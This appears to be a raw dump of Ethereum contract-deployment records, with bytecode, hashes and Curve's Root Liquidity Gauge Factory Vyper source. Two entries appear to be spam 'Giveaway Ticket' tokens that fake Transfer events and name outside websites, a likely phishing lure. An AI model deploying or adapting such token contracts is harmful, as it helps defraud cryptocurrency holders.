0006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a0823114610115578063778faeec1461014557806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61015f600480360381019061015a9190610843565b61033d565b005b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b806002819055505f5b82518110156103fc5782818151811061036257610361610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103e791906105f6565b60405180910390a38080600101915050610346565b505050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea26469706673582212200fd7edb592fb0fb6bd15fcde53c128ec584ff3776de0b58dfc2156fc4713f5c764736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000028212058434144204769766561776179205469636b6574207c20786361646e6574776f726b2e6f7267000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002658434144204769766561776179205469636b6574207c20786361646e6574776f726b2e6f72670000000000000000000000000000000000000000000000000000 | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a0823114610115578063778faeec1461014557806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61015f600480360381019061015a9190610843565b61033d565b005b610169610401565b60405161017691906105be565b60405180910390f35b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b806002819055505f5b82518110156103fc5782818151811061036257610361610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103e791906105f6565b60405180910390a38080600101915050610346565b505050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea26469706673582212200fd7edb592fb0fb6bd15fcde53c128ec584ff3776de0b58dfc2156fc4713f5c764736f6c63430008180033 | |
1 | 19,493,909 | 0486fef56d1250d3ca0de2dddf01149a71c77b480bbec982107448e5ad82286f | d1d6b1bed833bafb95197f9b04087d6f28b9d9880db49dca9bb6f83308851afa | 8c212d140418242d70ea955c57be544f86758a0b | 8c212d140418242d70ea955c57be544f86758a0b | db205f215f568adf21b9573b62566f6d9a40bed6 | 602061079b6080396080518060a01c6107965760e0526020602061079b016080396080518060a01c610796576101005260e0516000557fe385116766307e81d4427b03f1ac50c300b2f6a5df7b3c67eeb7eaaab12f080560006101205260e051610140526040610120a1610100516006557f5c486528ec3e3f0ea91181cff8116f02bfa350e03b8b6f12e00765adbb5af85c60006101205261010051610140526040610120a161077e56600436101561000d576106c9565b60046000601c3760005163e10a16b881186101ef57600160043560a05260805260406080205460e052600060e051146106cf57600254610100527f602d3d8160093d39f3363d3d373d3d3d363d7300000000000000000000000000610240526101005160601b610253527f5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000610267526004356101e05233610200526024356102205260606101c0526101c0805160208201209050603661024034f561012052600460043560a05260805260406080205461014052610120516001610140517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156106cf5702600360043560a0526080526040608020015561014051600181818301106106cf5780820190509050600460043560a052608052604060802055600160056101205160a05260805260406080205563cd6dc6876101605260e051610180526004356101a052610120513b156106cf5760006000604461017c6000610120515af16101a2573d600060003e3d6000fd5b33600435610100517fba28410b4fffd5fd249e330e29cf9634734b5fbee13030072e5d27f5620c6f546024356101605261012051610180526040610160a461012051610160526020610160f35b346106cf576311bfb95681186102af576004358060a01c6106cf5760e05263c23697a86101405233610160526020610140602461015c634d47fc85610100526020610100600461011c60e0515afa61024c573d600060003e3d6000fd5b601f3d11156106cf57610100515afa61026a573d600060003e3d6000fd5b601f3d11156106cf5761014051156106cf57630c33d05a6101005260e0513b156106cf5760006000600461011c600060e0515af16102ad573d600060003e3d6000fd5b005b632340919481186102c45733610100526102df565b63e3e3406981186103e7576064358060a01c6106cf57610100525b6024358060a01c6106cf5760e052600160043560a05260805260406080205461012052600061012051146106cf5763f9754c936101e052610200806080308252602082019150808252636be320d261014452600460e0516101645260443561018452610100516101a45260600161014052610140818401808280516020018083828460045afa905050508051806020830101818260206001820306601f8201039050033682375050805160200160206001820306601f8201039050905090509050810190506020820191506000825260208201915060043582525050506000543b156106cf57600060006101246101fc60006000545af16103e5573d600060003e3d6000fd5b005b631fffa5018118610465576024358060a01c6106cf5760e05260065433186106cf576004357f6a04348f9e0d332969d9565b704002af228aa36cd8ed4a60f95343c0cc89400d600160043560a0526080526040608020546101005260e051610120526040610100a260e051600160043560a052608052604060802055005b634cd69da081186104c4576004358060a01c6106cf5760e05260065433186106cf577fcdfeee65e4d0a88d6e47c5d034c34b03d52f1e6ffc56906257fc93d993ca04c46002546101005260e051610120526040610100a160e051600255005b635ecb9e148118610523576004358060a01c6106cf5760e05260065433186106cf577fe385116766307e81d4427b03f1ac50c300b2f6a5df7b3c67eeb7eaaab12f08056000546101005260e051610120526040610100a160e051600055005b636b441a40811861054d576004358060a01c6106cf5760e05260065433186106cf5760e051600755005b63e5ea47b881186105985760075433186106cf577f5c486528ec3e3f0ea91181cff8116f02bfa350e03b8b6f12e00765adbb5af85c60065460e0523361010052604060e0a133600655005b63f81c6c3e81186105af5760005460e052602060e0f35b63087ca57f81186105d457600160043560a05260805260406080205460e052602060e0f35b63c781c66881186105eb5760025460e052602060e0f35b63f5de1248811861063f5760016024357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156106cf5702600360043560a0526080526040608020015460e052602060e0f35b6338f31214811861066457600460043560a05260805260406080205460e052602060e0f35b634b9203798118610699576004358060a01c6106cf5760e052600560e05160a052608052604060802054610100526020610100f35b638da5cb5b81186106b05760065460e052602060e0f35b631ec0cdc181186106c75760075460e052602060e0f35b505b60006000fd5b600080fd5b6100aa61077e036100aa6000396100aa61077e036000f35b600080fd0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000745748bcfd8f9c2de519a71d789be8a63dd7d66c | 600436101561000d576106c9565b60046000601c3760005163e10a16b881186101ef57600160043560a05260805260406080205460e052600060e051146106cf57600254610100527f602d3d8160093d39f3363d3d373d3d3d363d7300000000000000000000000000610240526101005160601b610253527f5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000610267526004356101e05233610200526024356102205260606101c0526101c0805160208201209050603661024034f561012052600460043560a05260805260406080205461014052610120516001610140517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156106cf5702600360043560a0526080526040608020015561014051600181818301106106cf5780820190509050600460043560a052608052604060802055600160056101205160a05260805260406080205563cd6dc6876101605260e051610180526004356101a052610120513b156106cf5760006000604461017c6000610120515af16101a2573d600060003e3d6000fd5b33600435610100517fba28410b4fffd5fd249e330e29cf9634734b5fbee13030072e5d27f5620c6f546024356101605261012051610180526040610160a461012051610160526020610160f35b346106cf576311bfb95681186102af576004358060a01c6106cf5760e05263c23697a86101405233610160526020610140602461015c634d47fc85610100526020610100600461011c60e0515afa61024c573d600060003e3d6000fd5b601f3d11156106cf57610100515afa61026a573d600060003e3d6000fd5b601f3d11156106cf5761014051156106cf57630c33d05a6101005260e0513b156106cf5760006000600461011c600060e0515af16102ad573d600060003e3d6000fd5b005b632340919481186102c45733610100526102df565b63e3e3406981186103e7576064358060a01c6106cf57610100525b6024358060a01c6106cf5760e052600160043560a05260805260406080205461012052600061012051146106cf5763f9754c936101e052610200806080308252602082019150808252636be320d261014452600460e0516101645260443561018452610100516101a45260600161014052610140818401808280516020018083828460045afa905050508051806020830101818260206001820306601f8201039050033682375050805160200160206001820306601f8201039050905090509050810190506020820191506000825260208201915060043582525050506000543b156106cf57600060006101246101fc60006000545af16103e5573d600060003e3d6000fd5b005b631fffa5018118610465576024358060a01c6106cf5760e05260065433186106cf576004357f6a04348f9e0d332969d9565b704002af228aa36cd8ed4a60f95343c0cc89400d600160043560a0526080526040608020546101005260e051610120526040610100a260e051600160043560a052608052604060802055005b634cd69da081186104c4576004358060a01c6106cf5760e05260065433186106cf577fcdfeee65e4d0a88d6e47c5d034c34b03d52f1e6ffc56906257fc93d993ca04c46002546101005260e051610120526040610100a160e051600255005b635ecb9e148118610523576004358060a01c6106cf5760e05260065433186106cf577fe385116766307e81d4427b03f1ac50c300b2f6a5df7b3c67eeb7eaaab12f08056000546101005260e051610120526040610100a160e051600055005b636b441a40811861054d576004358060a01c6106cf5760e05260065433186106cf5760e051600755005b63e5ea47b881186105985760075433186106cf577f5c486528ec3e3f0ea91181cff8116f02bfa350e03b8b6f12e00765adbb5af85c60065460e0523361010052604060e0a133600655005b63f81c6c3e81186105af5760005460e052602060e0f35b63087ca57f81186105d457600160043560a05260805260406080205460e052602060e0f35b63c781c66881186105eb5760025460e052602060e0f35b63f5de1248811861063f5760016024357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156106cf5702600360043560a0526080526040608020015460e052602060e0f35b6338f31214811861066457600460043560a05260805260406080205460e052602060e0f35b634b9203798118610699576004358060a01c6106cf5760e052600560e05160a052608052604060802054610100526020610100f35b638da5cb5b81186106b05760065460e052602060e0f35b631ec0cdc181186106c75760075460e052602060e0f35b505b60006000fd5b600080fd | # @version 0.3.1
"""
@title Root Liquidity Gauge Factory
@license MIT
@author Curve Finance
"""
interface Bridger:
def check(_addr: address) -> bool: view
interface RootGauge:
def bridger() -> address: view
def initialize(_bridger: address, _chain_id: uint256): nonpayable
def transmit_emissions(): nonpayable
interface CallProxy:
def anyCall(
_to: address, _data: Bytes[1024], _fallback: address, _to_chain_id: uint256
): nonpayable
event BridgerUpdated:
_chain_id: indexed(uint256)
_old_bridger: address
_new_bridger: address
event DeployedGauge:
_implementation: indexed(address)
_chain_id: indexed(uint256)
_deployer: indexed(address)
_salt: bytes32
_gauge: address
event TransferOwnership:
_old_owner: address
_new_owner: address
event UpdateCallProxy:
_old_call_proxy: address
_new_call_proxy: address
event UpdateImplementation:
_old_implementation: address
_new_implementation: address
call_proxy: public(address)
get_bridger: public(HashMap[uint256, address])
get_implementation: public(address)
get_gauge: public(HashMap[uint256, address[MAX_UINT256]])
get_gauge_count: public(HashMap[uint256, uint256])
is_valid_gauge: public(HashMap[address, bool])
owner: public(address)
future_owner: public(address)
@external
def __init__(_call_proxy: address, _owner: address):
self.call_proxy = _call_proxy
log UpdateCallProxy(ZERO_ADDRESS, _call_proxy)
self.owner = _owner
log TransferOwnership(ZERO_ADDRESS, _owner)
@external
def transmit_emissions(_gauge: address):
"""
@notice Call `transmit_emissions` on a root gauge
@dev Entrypoint for anycall to request emissions for a child gauge.
The way that gauges work, this can also be called on the root
chain without a request.
"""
# in most cases this will return True
# for special bridges *cough cough Multichain, we can only do
# one bridge per tx, therefore this will verify msg.sender in [tx.origin, self.call_proxy]
assert Bridger(RootGauge(_gauge).bridger()).check(msg.sender)
RootGauge(_gauge).transmit_emissions()
@payable
@external
def deploy_gauge(_chain_id: uint256, _salt: bytes32) -> address:
"""
@notice Deploy a root liquidity gauge
@param _chain_id The chain identifier of the counterpart child gauge
@param _salt A value to deterministically deploy a gauge
"""
bridger: address = self.get_bridger[_chain_id]
assert bridger != ZERO_ADDRESS # dev: chain id not supported
implementation: address = self.get_implementation
gauge: address = create_forwarder_to(
implementation,
value=msg.value,
salt=keccak256(_abi_encode(_chain_id, msg.sender, _salt))
)
idx: uint256 = self.get_gauge_count[_chain_id]
self.get_gauge[_chain_id][idx] = gauge
self.get_gauge_count[_chain_id] = idx + 1
self.is_valid_gauge[gauge] = True
RootGauge(gauge).initialize(bridger, _chain_id)
log DeployedGauge(implementation, _chain_id, msg.sender, _salt, gauge)
return gauge
@external
def deploy_child_gauge(_chain_id: uint256, _lp_token: address, _salt: bytes32, _manager: address = msg.sender):
bridger: address = self.get_bridger[_chain_id]
assert bridger != ZERO_ADDRESS # dev: chain id not supported
CallProxy(self.call_proxy).anyCall(
self,
_abi_encode(
_lp_token,
_salt,
_manager,
method_id=method_id("deploy_gauge(address,bytes32,address)")
),
ZERO_ADDRESS,
_chain_id
)
@external
def set_bridger(_chain_id: uint256, _bridger: address):
"""
@notice Set the bridger for `_chain_id`
@param _chain_id The chain identifier to set the bridger for
@param _bridger The bridger contract to use
"""
assert msg.sender == self.owner # dev: only owner
log BridgerUpdated(_chain_id, self.get_bridger[_chain_id], _bridger)
self.get_bridger[_chain_id] = _bridger
@external
def set_implementation(_implementation: address):
"""
@notice Set the implementation
@param _implementation The address of the implementation to use
"""
assert msg.sender == self.owner # dev: only owner
log UpdateImplementation(self.get_implementation, _implementation)
self.get_implementation = _implementation
@external
def set_call_proxy(_new_call_proxy: address):
"""
@notice Set the address of the call proxy used
@dev _new_call_proxy should adhere to the same interface as defined
@param _new_call_proxy Address of the cross chain call proxy
"""
assert msg.sender == self.owner
log UpdateCallProxy(self.call_proxy, _new_call_proxy)
self.call_proxy = _new_call_proxy
@external
def commit_transfer_ownership(_future_owner: address):
"""
@notice Transfer ownership to `_future_owner`
@param _future_owner The account to commit as the future owner
"""
assert msg.sender == self.owner # dev: only owner
self.future_owner = _future_owner
@external
def accept_transfer_ownership():
"""
@notice Accept the transfer of ownership
@dev Only the committed future owner can call this function
"""
assert msg.sender == self.future_owner # dev: only future owner
log TransferOwnership(self.owner, msg.sender)
self.owner = msg.sender |
1 | 19,493,910 | 1e019b2f410695fc3cdb371652d1899e662b0139ba2295664164a45cb8641117 | b3d067293da5aaa037f4186b87c268e1f8349eca92886b645ea17e9389f23103 | 4e8a30c270d44251a802f3c741a94ab351ae6b2d | 4e8a30c270d44251a802f3c741a94ab351ae6b2d | 869339da59515f9ec99635bda1c1a1c1bd39a0e9 | 60806040525f60025573bb0e17ef65f82ab018d8edd776e8dd940327b28b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c806344df8e701161006457806344df8e701461010b5780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b35780631f46df53146100d1578063313ce567146100ed575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100eb60048036038101906100e691906107e4565b610230565b005b6100f56102f4565b6040516101029190610859565b60405180910390f35b6101136102fc565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b610199600480360381019061019491906107e4565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b806002819055505f5b82518110156102ef57828181518110610255576102546108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102da91906105f6565b60405180910390a38080600101915050610239565b505050565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61065a82610576565b810181811067ffffffffffffffff8211171561067957610678610624565b5b80604052505050565b5f61068b61060f565b90506106978282610651565b919050565b5f67ffffffffffffffff8211156106b6576106b5610624565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106f4826106cb565b9050919050565b610704816106ea565b811461070e575f80fd5b50565b5f8135905061071f816106fb565b92915050565b5f6107376107328461069c565b610682565b9050808382526020820190506020840283018581111561075a576107596106c7565b5b835b81811015610783578061076f8882610711565b84526020840193505060208101905061075c565b5050509392505050565b5f82601f8301126107a1576107a0610620565b5b81356107b1848260208601610725565b91505092915050565b6107c3816105de565b81146107cd575f80fd5b50565b5f813590506107de816107ba565b92915050565b5f80604083850312156107fa576107f9610618565b5b5f83013567ffffffffffffffff8111156108175761081661061c565b5b6108238582860161078d565b9250506020610834858286016107d0565b9150509250929050565b5f60ff82169050919050565b6108538161083e565b82525050565b5f60208201905061086c5f83018461084a565b92915050565b5f6020828403121561088757610886610618565b5b5f61089484828501610711565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea2646970667358221220f580a74428f886dfdd7d234d18c0d43c3fe90327aa6b511667ed8d2a80fa439564736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000272120415853204769766561776179205469636b6574207c20617873746f6b656e6875622e636f6d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000025415853204769766561776179205469636b6574207c20617873746f6b656e6875622e636f6d000000000000000000000000000000000000000000000000000000 | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c806344df8e701161006457806344df8e701461010b5780636a6278421461011557806370a082311461013157806395d89b4114610161578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b35780631f46df53146100d1578063313ce567146100ed575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100eb60048036038101906100e691906107e4565b610230565b005b6100f56102f4565b6040516101029190610859565b60405180910390f35b6101136102fc565b005b61012f600480360381019061012a9190610872565b610318565b005b61014b60048036038101906101469190610872565b610385565b60405161015891906105f6565b60405180910390f35b610169610401565b60405161017691906105be565b60405180910390f35b610199600480360381019061019491906107e4565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b806002819055505f5b82518110156102ef57828181518110610255576102546108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600